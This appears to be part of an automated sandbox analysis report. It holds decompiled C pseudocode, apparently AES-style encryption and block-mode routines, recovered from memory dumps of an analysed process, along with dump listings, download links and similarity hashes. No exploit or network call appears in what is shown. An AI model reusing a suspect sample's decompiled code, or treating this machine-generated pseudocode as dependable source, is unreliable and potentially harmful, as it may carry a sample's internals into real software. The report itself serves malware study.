                                                                						_t142[1] = _t78 ^ _t105 ^ _t78 ^ _t105 + _t105 & 0xfefefefe ^ 0x80808080 - ((0x80808080 & _t105) >> 0x00000007) & 0x1b1b1b1b ^ _t78 ^ (_t105 + _t105 & 0xfefefefe ^ 0x80808080 - ((0x80808080 & _t105) >> 0x00000007) & 0x1b1b1b1b) + _t125 & 0xfefefefe ^ 0x80808080 - ((0x80808080 & _t125) >> 0x00000007) & 0x1b1b1b1b ^ _t105 ^ _t78 ^ (_t105 + _t105 & 0xfefefefe ^ 0x80808080 - ((0x80808080 & _t105) >> 0x00000007) & 0x1b1b1b1b) + _t125 & 0xfefefefe ^ 0x80808080 - ((0x80808080 & _t125) >> 0x00000007) & 0x1b1b1b1b ^ _t105 + _t105 & 0xfefefefe ^ 0x80808080 - ((0x80808080 & _t105) >> 0x00000007) & 0x1b1b1b1b ^ _t78 ^ (_t105 + _t105 & 0xfefefefe ^ 0x80808080 - ((0x80808080 & _t105) >> 0x00000007) & 0x1b1b1b1b) + _t125 & 0xfefefefe ^ 0x80808080 - ((0x80808080 & _t125) >> 0x00000007) & 0x1b1b1b1b ^ (_t105 + _t105 & 0xfefefefe ^ 0x80808080 - ((0x80808080 & _t105) >> 0x00000007) & 0x1b1b1b1b) + _t125 & 0xfefefefe ^ 0x80808080 - ((0x80808080 & _t125) >> 0x00000007) & 0x1b1b1b1b;
                                                                						_t130 = _t108 + _t108 & 0xfefefefe ^ 0x80808080 - ((0x80808080 & _t108) >> 0x00000007) & 0x1b1b1b1b;
                                                                						_t61 = _t130 + _t130 & 0xfefefefe ^ 0x80808080 - ((0x80808080 & _t130) >> 0x00000007) & 0x1b1b1b1b;
                                                                						asm("rol ecx, 0x8");
                                                                						asm("rol edx, 0x18");
                                                                						asm("rol eax, 0x10");
                                                                						asm("rol ebx, 0x8");
                                                                						_t133 = _t142[3];
                                                                						_t142[2] = _t108 ^ _t130 ^ _t108 ^ _t130 + _t130 & 0xfefefefe ^ 0x80808080 - ((0x80808080 & _t130) >> 0x00000007) & 0x1b1b1b1b ^ _t108 ^ (_t130 + _t130 & 0xfefefefe ^ 0x80808080 - ((0x80808080 & _t130) >> 0x00000007) & 0x1b1b1b1b) + _t61 & 0xfefefefe ^ 0x80808080 - ((0x80808080 & _t61) >> 0x00000007) & 0x1b1b1b1b ^ _t130 ^ _t108 ^ (_t130 + _t130 & 0xfefefefe ^ 0x80808080 - ((0x80808080 & _t130) >> 0x00000007) & 0x1b1b1b1b) + _t61 & 0xfefefefe ^ 0x80808080 - ((0x80808080 & _t61) >> 0x00000007) & 0x1b1b1b1b ^ _t130 + _t130 & 0xfefefefe ^ 0x80808080 - ((0x80808080 & _t130) >> 0x00000007) & 0x1b1b1b1b ^ _t108 ^ (_t130 + _t130 & 0xfefefefe ^ 0x80808080 - ((0x80808080 & _t130) >> 0x00000007) & 0x1b1b1b1b) + _t61 & 0xfefefefe ^ 0x80808080 - ((0x80808080 & _t61) >> 0x00000007) & 0x1b1b1b1b ^ (_t130 + _t130 & 0xfefefefe ^ 0x80808080 - ((0x80808080 & _t130) >> 0x00000007) & 0x1b1b1b1b) + _t61 & 0xfefefefe ^ 0x80808080 - ((0x80808080 & _t61) >> 0x00000007) & 0x1b1b1b1b;
                                                                						_t66 = _t133 + _t133 & 0xfefefefe ^ 0x80808080 - ((0x80808080 & _t133) >> 0x00000007) & 0x1b1b1b1b;
                                                                						_t90 = _t66 + _t66 & 0xfefefefe ^ 0x80808080 - ((0x80808080 & _t66) >> 0x00000007) & 0x1b1b1b1b;
                                                                						asm("rol edx, 0x8");
                                                                						asm("rol eax, 0x18");
                                                                						asm("rol ebx, 0x10");
                                                                						asm("rol ecx, 0x8");
                                                                						_t49 = _t142[4];
                                                                						_t142[3] = _t133 ^ _t66 ^ _t133 ^ _t66 + _t66 & 0xfefefefe ^ 0x80808080 - ((0x80808080 & _t66) >> 0x00000007) & 0x1b1b1b1b ^ _t133 ^ (_t66 + _t66 & 0xfefefefe ^ 0x80808080 - ((0x80808080 & _t66) >> 0x00000007) & 0x1b1b1b1b) + _t90 & 0xfefefefe ^ 0x80808080 - ((0x80808080 & _t90) >> 0x00000007) & 0x1b1b1b1b ^ _t66 ^ _t133 ^ (_t66 + _t66 & 0xfefefefe ^ 0x80808080 - ((0x80808080 & _t66) >> 0x00000007) & 0x1b1b1b1b) + _t90 & 0xfefefefe ^ 0x80808080 - ((0x80808080 & _t90) >> 0x00000007) & 0x1b1b1b1b ^ _t66 + _t66 & 0xfefefefe ^ 0x80808080 - ((0x80808080 & _t66) >> 0x00000007) & 0x1b1b1b1b ^ _t133 ^ (_t66 + _t66 & 0xfefefefe ^ 0x80808080 - ((0x80808080 & _t66) >> 0x00000007) & 0x1b1b1b1b) + _t90 & 0xfefefefe ^ 0x80808080 - ((0x80808080 & _t90) >> 0x00000007) & 0x1b1b1b1b ^ (_t66 + _t66 & 0xfefefefe ^ 0x80808080 - ((0x80808080 & _t66) >> 0x00000007) & 0x1b1b1b1b) + _t90 & 0xfefefefe ^ 0x80808080 - ((0x80808080 & _t90) >> 0x00000007) & 0x1b1b1b1b;
                                                                					} while (_t142 < _a12);
                                                                					return 0;
                                                                				} else {
                                                                					return _t46;
                                                                				}
                                                                			}















                                                                0x00ac17e0
                                                                0x00ac17e8
                                                                0x00ac17f3
                                                                0x00ac1804
                                                                0x00ac1808
                                                                0x00ac1812
                                                                0x00ac1814
                                                                0x00ac1817
                                                                0x00ac1819
                                                                0x00ac1828
                                                                0x00ac182b
                                                                0x00ac182e
                                                                0x00ac1831
                                                                0x00ac1834
                                                                0x00ac1837
                                                                0x00ac183a
                                                                0x00ac1842
                                                                0x00ac1853
                                                                0x00ac1857
                                                                0x00ac185c
                                                                0x00ac185c
                                                                0x00ac187c
                                                                0x00ac189d
                                                                0x00ac18be
                                                                0x00ac18cc
                                                                0x00ac18d3
                                                                0x00ac18d8
                                                                0x00ac18dd
                                                                0x00ac18e1
                                                                0x00ac1900
                                                                0x00ac1921
                                                                0x00ac1941
                                                                0x00ac194f
                                                                0x00ac1956
                                                                0x00ac195b
                                                                0x00ac1960
                                                                0x00ac1964
                                                                0x00ac1984
                                                                0x00ac19a4
                                                                0x00ac19c5
                                                                0x00ac19d3
                                                                0x00ac19da
                                                                0x00ac19df
                                                                0x00ac19e4
                                                                0x00ac19e8
                                                                0x00ac1a07
                                                                0x00ac1a28
                                                                0x00ac1a49
                                                                0x00ac1a57
                                                                0x00ac1a5e
                                                                0x00ac1a63
                                                                0x00ac1a68
                                                                0x00ac1a6c
                                                                0x00ac1a6f
                                                                0x00ac1a7f
                                                                0x00ac17ee
                                                                0x00ac17ee
                                                                0x00ac17ee

                                                                Memory Dump Source
                                                                • Source File: 00000000.00000002.721799634.0000000000AB1000.00000020.00020000.sdmp, Offset: 00AB0000, based on PE: true
                                                                • Associated: 00000000.00000002.721766848.0000000000AB0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.722799682.0000000000BA0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723237384.0000000000BE1000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723255902.0000000000BE2000.00000008.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723281146.0000000000BE5000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723323088.0000000000BE8000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723368835.0000000000CE9000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723404494.0000000000DEC000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723422451.0000000000DEE000.00000002.00020000.sdmp Download File
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: cf9c5f45ff5331f10078ff6609bca2f4b5b29b5a7334825905b9768d2345f1f6
                                                                • Instruction ID: 6d6c380d1dd39586e0d649a3732ef84d40bd430d9084fdffe8baa2d18abae510
                                                                • Opcode Fuzzy Hash: cf9c5f45ff5331f10078ff6609bca2f4b5b29b5a7334825905b9768d2345f1f6
                                                                • Instruction Fuzzy Hash: 2B71E5B3E20F294F8314DEB98D84152B2F1EB84520B4B867ECE51D3B41E7707A5E86C0
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                C-Code - Quality: 77%
                                                                			E00AC2850() {
                                                                				void* __ebx;
                                                                				void* __edi;
                                                                				void* __esi;
                                                                				signed int _t126;
                                                                				signed int* _t154;
                                                                				unsigned int _t156;
                                                                				intOrPtr _t157;
                                                                				intOrPtr _t158;
                                                                				void* _t162;
                                                                				char* _t163;
                                                                				signed char* _t164;
                                                                				void* _t179;
                                                                				void* _t182;
                                                                				signed int _t204;
                                                                				signed int* _t211;
                                                                				intOrPtr _t212;
                                                                				intOrPtr _t217;
                                                                				signed int* _t218;
                                                                				signed int* _t220;
                                                                				intOrPtr _t221;
                                                                				intOrPtr _t222;
                                                                				signed int _t224;
                                                                				void* _t226;
                                                                				signed int _t228;
                                                                
                                                                				E00B8BB10(0x3c);
                                                                				_t126 =  *0xbe5970; // 0xe6e1d076
                                                                				 *(_t228 + 0x38) = _t126 ^ _t228;
                                                                				_t128 =  *(_t228 + 0x4c);
                                                                				_t156 =  *(_t228 + 0x4c);
                                                                				_t224 =  *(_t228 + 0x48);
                                                                				_t220 =  *(_t228 + 0x5c);
                                                                				_t211 =  *(_t228 + 0x54);
                                                                				 *(_t228 + 0x24) =  *(_t228 + 0x4c);
                                                                				 *(_t228 + 0x1c) =  *(_t228 + 0x54);
                                                                				if(_t224 == _t211) {
                                                                					if(_t156 >= 0x10) {
                                                                						 *(_t228 + 0x14) = _t156 >> 4;
                                                                						do {
                                                                							 *((intOrPtr*)(_t228 + 0x28))(_t224, _t228 + 0x3c,  *(_t228 + 0x24));
                                                                							_t204 =  *_t220 ^  *(_t228 + 0x44);
                                                                							_t228 = _t228 + 0xc;
                                                                							 *_t211 = _t204;
                                                                							 *_t220 =  *_t224;
                                                                							_t211[1] = _t220[1] ^  *(_t228 + 0x3c);
                                                                							_t178 = _t220[2] ^  *(_t228 + 0x40);
                                                                							_t220[1] =  *(_t224 + 4);
                                                                							_t211[2] = _t220[2] ^  *(_t228 + 0x40);
                                                                							_t220[2] =  *(_t224 + 8);
                                                                							_t128 =  *(_t224 + 0xc);
                                                                							_t211[3] = _t220[3] ^  *(_t228 + 0x44);
                                                                							_t156 = _t156 - 0x10;
                                                                							_t224 = _t224 + 0x10;
                                                                							_t211 =  &(_t211[4]);
                                                                							_t53 = _t228 + 0x14;
                                                                							 *_t53 =  *(_t228 + 0x14) - 1;
                                                                							_t220[3] = _t128;
                                                                						} while ( *_t53 != 0);
                                                                					}
                                                                				} else {
                                                                					_t128 = _t220;
                                                                					 *(_t228 + 0x18) = _t128;
                                                                					if(_t156 >= 0x10) {
                                                                						 *(_t228 + 0x14) = _t156 >> 4;
                                                                						do {
                                                                							 *((intOrPtr*)(_t228 + 0x28))(_t224, _t211,  *(_t228 + 0x24));
                                                                							_t154 =  *(_t228 + 0x24);
                                                                							 *_t211 =  *_t211 ^  *_t154;
                                                                							_t211[1] = _t211[1] ^ _t154[1];
                                                                							_t211[2] = _t211[2] ^ _t154[2];
                                                                							_t211[3] = _t211[3] ^ _t154[3];
                                                                							 *(_t228 + 0x24) = _t224;
                                                                							_t228 = _t228 + 0xc;
                                                                							_t156 = _t156 - 0x10;
                                                                							_t224 = _t224 + 0x10;
                                                                							_t211 =  &(_t211[4]);
                                                                							_t25 = _t228 + 0x14;
                                                                							 *_t25 =  *(_t228 + 0x14) - 1;
                                                                						} while ( *_t25 != 0);
                                                                						_t128 =  *(_t228 + 0x18);
                                                                					}
                                                                					 *_t220 =  *_t128;
                                                                					_t220[1] = _t128[1];
                                                                					_t220[2] = _t128[2];
                                                                					_t178 = _t128[3];
                                                                					_t220[3] = _t128[3];
                                                                				}
                                                                				if(_t156 == 0) {
                                                                					L27:
                                                                					_pop(_t212);
                                                                					_pop(_t221);
                                                                					_pop(_t157);
                                                                					return E00B89C26(_t128, _t157,  *(_t228 + 0x48) ^ _t228, _t178, _t212, _t221);
                                                                				} else {
                                                                					_t179 = _t228 + 0x38;
                                                                					 *((intOrPtr*)(_t228 + 0x28)) = _t220 - _t179;
                                                                					_t162 = _t179;
                                                                					 *((intOrPtr*)(_t228 + 0x34)) = 1 - _t162;
                                                                					 *((intOrPtr*)(_t228 + 0x2c)) = 2 - _t179;
                                                                					 *((intOrPtr*)(_t228 + 0x30)) = 3 - _t162;
                                                                					 *(_t228 + 0x18) =  &(_t211[0]);
                                                                					 *(_t228 + 0x14) = _t211 - _t162;
                                                                					 *((intOrPtr*)(_t228 + 0x20)) = _t224 - _t162;
                                                                					do {
                                                                						 *((intOrPtr*)(_t228 + 0x28))(_t224, _t228 + 0x3c,  *(_t228 + 0x24));
                                                                						_t228 = _t228 + 0xc;
                                                                						_t128 = 0;
                                                                						while(_t128 < _t156) {
                                                                							_t164 =  &(_t128[0xe]) + _t228;
                                                                							 *(_t228 + 0x13) = _t164[ *((intOrPtr*)(_t228 + 0x20))] & 0x000000ff;
                                                                							_t164[ *(_t228 + 0x14)] =  *_t164 & 0x000000ff ^ _t164[ *((intOrPtr*)(_t228 + 0x28))];
                                                                							_t164[ *((intOrPtr*)(_t228 + 0x28))] =  *(_t228 + 0x13) & 0x000000ff;
                                                                							if( *((intOrPtr*)(_t228 + 0x34)) + _t164 >= _t156) {
                                                                								_t128 =  &(_t128[0]);
                                                                							} else {
                                                                								_t218 =  *(_t228 + 0x18);
                                                                								 *(_t228 + 0x13) =  *(_t128 + _t224 + 1) & 0x000000ff;
                                                                								 *(_t218 + _t128 - 1) = _t164[1] & 0x000000ff ^  *(_t220 +  &(_t128[0]));
                                                                								 *(_t220 +  &(_t128[0])) =  *(_t228 + 0x13) & 0x000000ff;
                                                                								if( *((intOrPtr*)(_t228 + 0x2c)) + _t164 >= _t156) {
                                                                									_t128 =  &(_t128[0]);
                                                                								} else {
                                                                									 *(_t228 + 0x13) =  *(_t128 + _t224 + 2) & 0x000000ff;
                                                                									 *(_t218 + _t128) = _t164[2] & 0x000000ff ^  *(_t220 +  &(_t128[0]));
                                                                									 *(_t220 +  &(_t128[0])) =  *(_t228 + 0x13) & 0x000000ff;
                                                                									if( *((intOrPtr*)(_t228 + 0x30)) + _t164 >= _t156) {
                                                                										_t128 =  &(_t128[0]);
                                                                									} else {
                                                                										 *(_t218 +  &(_t128[0])) = _t164[3] ^  *(_t220 +  &(_t128[0]));
                                                                										 *(_t220 +  &(_t128[0])) =  *((intOrPtr*)(_t128 + _t224 + 3));
                                                                										_t128 =  &(_t128[1]);
                                                                										if(_t128 < 0x10) {
                                                                											continue;
                                                                										} else {
                                                                										}
                                                                									}
                                                                								}
                                                                							}
                                                                							break;
                                                                						}
                                                                						_t178 = 0x10;
                                                                						if(_t156 <= 0x10) {
                                                                							if(_t128 < 0x10) {
                                                                								_t226 = _t224 - _t220;
                                                                								_t163 = _t220 + _t128;
                                                                								_t182 = 0x10 - _t128;
                                                                								do {
                                                                									_t128 =  *((intOrPtr*)(_t163 + _t226));
                                                                									 *_t163 =  *((intOrPtr*)(_t163 + _t226));
                                                                									_t163 = _t163 + 1;
                                                                									_t182 = _t182 - 1;
                                                                								} while (_t182 != 0);
                                                                							}
                                                                							goto L27;
                                                                						} else {
                                                                							goto L22;
                                                                						}
                                                                						goto L28;
                                                                						L22:
                                                                						 *((intOrPtr*)(_t228 + 0x20)) =  *((intOrPtr*)(_t228 + 0x20)) + 0x10;
                                                                						 *(_t228 + 0x14) =  *(_t228 + 0x14) + 0x10;
                                                                						 *(_t228 + 0x18) =  &(( *(_t228 + 0x18))[4]);
                                                                						_t156 = _t156 - 0x10;
                                                                						_t224 = _t224 + 0x10;
                                                                					} while (_t156 != 0);
                                                                					_pop(_t217);
                                                                					_pop(_t222);
                                                                					_pop(_t158);
                                                                					return E00B89C26(_t128, _t158,  *(_t228 + 0x38) ^ _t228, 0x10, _t217, _t222);
                                                                				}
                                                                				L28:
                                                                			}



























                                                                0x00ac2855
                                                                0x00ac285a
                                                                0x00ac2861
                                                                0x00ac2865
                                                                0x00ac286e
                                                                0x00ac2873
                                                                0x00ac2878
                                                                0x00ac287d
                                                                0x00ac2881
                                                                0x00ac2885
                                                                0x00ac288b
                                                                0x00ac28fc
                                                                0x00ac2903
                                                                0x00ac2907
                                                                0x00ac2912
                                                                0x00ac291b
                                                                0x00ac291f
                                                                0x00ac2922
                                                                0x00ac292b
                                                                0x00ac2930
                                                                0x00ac2936
                                                                0x00ac293a
                                                                0x00ac2940
                                                                0x00ac294a
                                                                0x00ac294d
                                                                0x00ac2950
                                                                0x00ac2953
                                                                0x00ac2956
                                                                0x00ac2959
                                                                0x00ac295c
                                                                0x00ac295c
                                                                0x00ac2961
                                                                0x00ac2961
                                                                0x00ac2907
                                                                0x00ac288d
                                                                0x00ac288d
                                                                0x00ac288f
                                                                0x00ac2896
                                                                0x00ac289d
                                                                0x00ac28a1
                                                                0x00ac28a8
                                                                0x00ac28ac
                                                                0x00ac28b2
                                                                0x00ac28b7
                                                                0x00ac28bd
                                                                0x00ac28c3
                                                                0x00ac28c6
                                                                0x00ac28ca
                                                                0x00ac28cd
                                                                0x00ac28d0
                                                                0x00ac28d3
                                                                0x00ac28d6
                                                                0x00ac28d6
                                                                0x00ac28d6
                                                                0x00ac28dd
                                                                0x00ac28dd
                                                                0x00ac28e3
                                                                0x00ac28e8
                                                                0x00ac28ee
                                                                0x00ac28f1
                                                                0x00ac28f4
                                                                0x00ac28f4
                                                                0x00ac2968
                                                                0x00ac2ad0
                                                                0x00ac2ad4
                                                                0x00ac2ad5
                                                                0x00ac2ad7
                                                                0x00ac2ae2
                                                                0x00ac296e
                                                                0x00ac296e
                                                                0x00ac2976
                                                                0x00ac297a
                                                                0x00ac2983
                                                                0x00ac298e
                                                                0x00ac2999
                                                                0x00ac29a8
                                                                0x00ac29ac
                                                                0x00ac29b0
                                                                0x00ac29b4
                                                                0x00ac29bf
                                                                0x00ac29c3
                                                                0x00ac29c6
                                                                0x00ac29c8
                                                                0x00ac29d8
                                                                0x00ac29e0
                                                                0x00ac29ee
                                                                0x00ac29fa
                                                                0x00ac2a05
                                                                0x00ac2a7b
                                                                0x00ac2a07
                                                                0x00ac2a0c
                                                                0x00ac2a10
                                                                0x00ac2a1c
                                                                0x00ac2a25
                                                                0x00ac2a31
                                                                0x00ac2a7e
                                                                0x00ac2a33
                                                                0x00ac2a38
                                                                0x00ac2a44
                                                                0x00ac2a4c
                                                                0x00ac2a58
                                                                0x00ac2a83
                                                                0x00ac2a5a
                                                                0x00ac2a65
                                                                0x00ac2a69
                                                                0x00ac2a6d
                                                                0x00ac2a73
                                                                0x00000000
                                                                0x00000000
                                                                0x00ac2a79
                                                                0x00ac2a73
                                                                0x00ac2a58
                                                                0x00ac2a31
                                                                0x00000000
                                                                0x00ac2a05
                                                                0x00ac2a86
                                                                0x00ac2a8d
                                                                0x00ac2abc
                                                                0x00ac2abe
                                                                0x00ac2ac0
                                                                0x00ac2ac3
                                                                0x00ac2ac5
                                                                0x00ac2ac5
                                                                0x00ac2ac8
                                                                0x00ac2aca
                                                                0x00ac2acb
                                                                0x00ac2acb
                                                                0x00ac2ac5
                                                                0x00000000
                                                                0x00000000
                                                                0x00000000
                                                                0x00000000
                                                                0x00000000
                                                                0x00ac2a8f
                                                                0x00ac2a8f
                                                                0x00ac2a93
                                                                0x00ac2a97
                                                                0x00ac2a9b
                                                                0x00ac2a9d
                                                                0x00ac2a9f
                                                                0x00ac2aa7
                                                                0x00ac2aa8
                                                                0x00ac2aaa
                                                                0x00ac2ab9
                                                                0x00ac2ab9
                                                                0x00000000

                                                                Memory Dump Source
                                                                • Source File: 00000000.00000002.721799634.0000000000AB1000.00000020.00020000.sdmp, Offset: 00AB0000, based on PE: true
                                                                • Associated: 00000000.00000002.721766848.0000000000AB0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.722799682.0000000000BA0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723237384.0000000000BE1000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723255902.0000000000BE2000.00000008.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723281146.0000000000BE5000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723323088.0000000000BE8000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723368835.0000000000CE9000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723404494.0000000000DEC000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723422451.0000000000DEE000.00000002.00020000.sdmp Download File
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 2e41e4bc19d8f79dc6f7725bea8680e73f3b71002af8072cd3e3d955563024e1
                                                                • Instruction ID: 88ad5f8c8006251bc4e907e1486d90a321b89318fb31ede50bda4793771df511
                                                                • Opcode Fuzzy Hash: 2e41e4bc19d8f79dc6f7725bea8680e73f3b71002af8072cd3e3d955563024e1
                                                                • Instruction Fuzzy Hash: 24918A756083418FC324CF29C584A6AFBE1EFD9304F59CA6DE8D987356D231EA09CB52
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                Memory Dump Source
                                                                • Source File: 00000000.00000002.721799634.0000000000AB1000.00000020.00020000.sdmp, Offset: 00AB0000, based on PE: true
                                                                • Associated: 00000000.00000002.721766848.0000000000AB0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.722799682.0000000000BA0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723237384.0000000000BE1000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723255902.0000000000BE2000.00000008.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723281146.0000000000BE5000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723323088.0000000000BE8000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723368835.0000000000CE9000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723404494.0000000000DEC000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723422451.0000000000DEE000.00000002.00020000.sdmp Download File
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 1fcc43b6dec1d2a5d4b93e07f1dccf19a7351a6efeb9f8f549763149ed7a8214
                                                                • Instruction ID: 1af64119001e9c2fd09fdbe79a5159ab1e966032734363d067ec722e2fc48820
                                                                • Opcode Fuzzy Hash: 1fcc43b6dec1d2a5d4b93e07f1dccf19a7351a6efeb9f8f549763149ed7a8214
                                                                • Instruction Fuzzy Hash: 8BA15324C1DF9987E3128B3985421A3F365BFBA248F15E70EFDD935812EB21B6D49281
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                Memory Dump Source
                                                                • Source File: 00000000.00000002.721799634.0000000000AB1000.00000020.00020000.sdmp, Offset: 00AB0000, based on PE: true
                                                                • Associated: 00000000.00000002.721766848.0000000000AB0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.722799682.0000000000BA0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723237384.0000000000BE1000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723255902.0000000000BE2000.00000008.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723281146.0000000000BE5000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723323088.0000000000BE8000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723368835.0000000000CE9000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723404494.0000000000DEC000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723422451.0000000000DEE000.00000002.00020000.sdmp Download File
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: d7264c70299fa56e359571c6f703c96d6d5a10104b9f91aba4f0598870021b61
                                                                • Instruction ID: 8cab684c553646b1902d1c685ef61ccf97c1cb80554e2ea788d601474b3848de
                                                                • Opcode Fuzzy Hash: d7264c70299fa56e359571c6f703c96d6d5a10104b9f91aba4f0598870021b61
                                                                • Instruction Fuzzy Hash: 3671E926639F7A06DBC3DA3D881047BF7E1BE8910AB450956DC90F3281D73EDA4D7660
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                Memory Dump Source
                                                                • Source File: 00000000.00000002.721799634.0000000000AB1000.00000020.00020000.sdmp, Offset: 00AB0000, based on PE: true
                                                                • Associated: 00000000.00000002.721766848.0000000000AB0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.722799682.0000000000BA0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723237384.0000000000BE1000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723255902.0000000000BE2000.00000008.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723281146.0000000000BE5000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723323088.0000000000BE8000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723368835.0000000000CE9000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723404494.0000000000DEC000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723422451.0000000000DEE000.00000002.00020000.sdmp Download File
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 3f6a2591c6a1714bf7261bac80aec65f1a127fd8b4b380c508f0496f22d439f2
                                                                • Instruction ID: 9a0ec463b754a5ab6d0e2a46741742c762eacb3a1245583b3a4e40f19ad36776
                                                                • Opcode Fuzzy Hash: 3f6a2591c6a1714bf7261bac80aec65f1a127fd8b4b380c508f0496f22d439f2
                                                                • Instruction Fuzzy Hash: 2771D926639F7A06DBC3DA3D881047FE7E1BE8910AB450956DC90F3281D73EDA4D7660
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                C-Code - Quality: 100%
                                                                			E00AC2C00() {
                                                                				signed int* _t75;
                                                                				signed int* _t78;
                                                                				signed int* _t86;
                                                                				signed char _t87;
                                                                				signed int* _t90;
                                                                				intOrPtr* _t91;
                                                                				signed int _t95;
                                                                				signed int _t96;
                                                                				signed int* _t98;
                                                                				signed int* _t101;
                                                                				void* _t103;
                                                                				void* _t104;
                                                                				unsigned int _t105;
                                                                				intOrPtr _t108;
                                                                				intOrPtr _t109;
                                                                				signed char _t110;
                                                                				void* _t114;
                                                                				signed char* _t115;
                                                                				void* _t118;
                                                                				signed char* _t120;
                                                                				void* _t125;
                                                                				signed char* _t127;
                                                                				signed int* _t132;
                                                                				signed int* _t137;
                                                                				signed int* _t143;
                                                                				intOrPtr _t146;
                                                                				signed char* _t148;
                                                                				signed int _t151;
                                                                				signed int _t153;
                                                                				intOrPtr _t155;
                                                                				unsigned int _t159;
                                                                				void* _t164;
                                                                				void* _t167;
                                                                				void* _t168;
                                                                				void* _t169;
                                                                
                                                                				E00B8BB10(4);
                                                                				_t151 =  *( *(_t168 + 0x1c));
                                                                				_t146 =  *((intOrPtr*)(_t168 + 0x28));
                                                                				if( *(_t168 + 0x20) == 0) {
                                                                					_t159 =  *(_t168 + 0x20);
                                                                					_t101 =  *(_t168 + 0x18);
                                                                					if(_t151 != 0) {
                                                                						while(_t159 != 0) {
                                                                							_t87 =  *_t101;
                                                                							_t115 =  *(_t168 + 0x1c);
                                                                							 *_t115 =  *(_t151 + _t146) ^ _t87;
                                                                							 *(_t151 + _t146) = _t87;
                                                                							_t101 =  &(_t101[0]);
                                                                							_t159 = _t159 - 1;
                                                                							_t151 = _t151 + 0x00000001 & 0x0000000f;
                                                                							 *(_t168 + 0x1c) =  &(_t115[1]);
                                                                							if(_t151 != 0) {
                                                                								continue;
                                                                							}
                                                                							break;
                                                                						}
                                                                						 *(_t168 + 0x18) = _t101;
                                                                						 *(_t168 + 0x20) = _t159;
                                                                					}
                                                                					if(_t159 >= 0x10) {
                                                                						 *((intOrPtr*)(_t168 + 0x30)) =  *(_t168 + 0x1c) - _t146;
                                                                						 *(_t168 + 0x10) = _t159 >> 4;
                                                                						do {
                                                                							 *((intOrPtr*)(_t168 + 0x40))(_t146, _t146,  *((intOrPtr*)(_t168 + 0x24)));
                                                                							_t168 = _t168 + 0xc;
                                                                							if(_t151 < 0x10) {
                                                                								_t104 = _t101 -  *(_t168 + 0x1c);
                                                                								_t86 = _t151 + _t146;
                                                                								_t114 = (0xf - _t151 >> 2) + 1;
                                                                								do {
                                                                									_t132 =  *((intOrPtr*)(_t168 + 0x30)) + _t86;
                                                                									_t153 =  *(_t132 + _t104);
                                                                									 *_t132 =  *_t86 ^ _t153;
                                                                									 *_t86 = _t153;
                                                                									_t86 =  &(_t86[1]);
                                                                									_t114 = _t114 - 1;
                                                                								} while (_t114 != 0);
                                                                								_t159 =  *(_t168 + 0x20);
                                                                								_t101 =  *(_t168 + 0x18);
                                                                							}
                                                                							 *(_t168 + 0x1c) =  &(( *(_t168 + 0x1c))[0x10]);
                                                                							 *((intOrPtr*)(_t168 + 0x30)) =  *((intOrPtr*)(_t168 + 0x30)) + 0x10;
                                                                							_t159 = _t159 - 0x10;
                                                                							_t101 =  &(_t101[4]);
                                                                							_t151 = 0;
                                                                							_t59 = _t168 + 0x10;
                                                                							 *_t59 =  *(_t168 + 0x10) - 1;
                                                                							 *(_t168 + 0x20) = _t159;
                                                                							 *(_t168 + 0x18) = _t101;
